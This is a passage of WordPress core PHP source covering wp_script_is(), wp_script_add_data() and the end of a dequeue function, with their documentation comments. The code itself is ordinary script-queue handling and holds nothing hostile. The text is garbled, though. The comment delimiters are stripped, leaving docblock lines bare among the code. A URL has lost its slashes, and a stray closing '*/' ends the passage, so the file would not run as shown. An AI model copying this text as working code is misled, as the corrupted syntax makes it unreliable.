_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
wp_scripts()->dequeue( $handle );
}
*
* Determines whether a script has been added to the queue.
*
* For more information on this and similar theme functions, check out
* the {@link https:developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.8.0
* @since 3.5.0 'enqueued' added as an alias of the 'queue' list.
*
* @param string $handle Name of the script.
* @param string $status Optional. Status of the script to check. Default 'enqueued'.
* Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
* @return bool Whether the script is queued.
function wp_script_is( $handle, $status = 'enqueued' ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
return (bool) wp_scripts()->query( $handle, $status );
}
*
* Adds metadata to a script.
*
* Works only if the script has already been registered.
*
* Possible values for $key and $value:
* 'conditional' string Comments for IE 6, lte IE 7, etc.
*
* @since 4.2.0
*
* @see WP_Dependencies::add_data()
*
* @param string $handle Name of the script.
* @param string $key Name of data point for which we're storing a value.
* @param mixed $value String containing the data to be added.
* @return bool True on success, false on failure.
function wp_script_add_data( $handle, $key, $value ) {
return wp_scripts()->add_data( $handle, $key, $value );
}
*/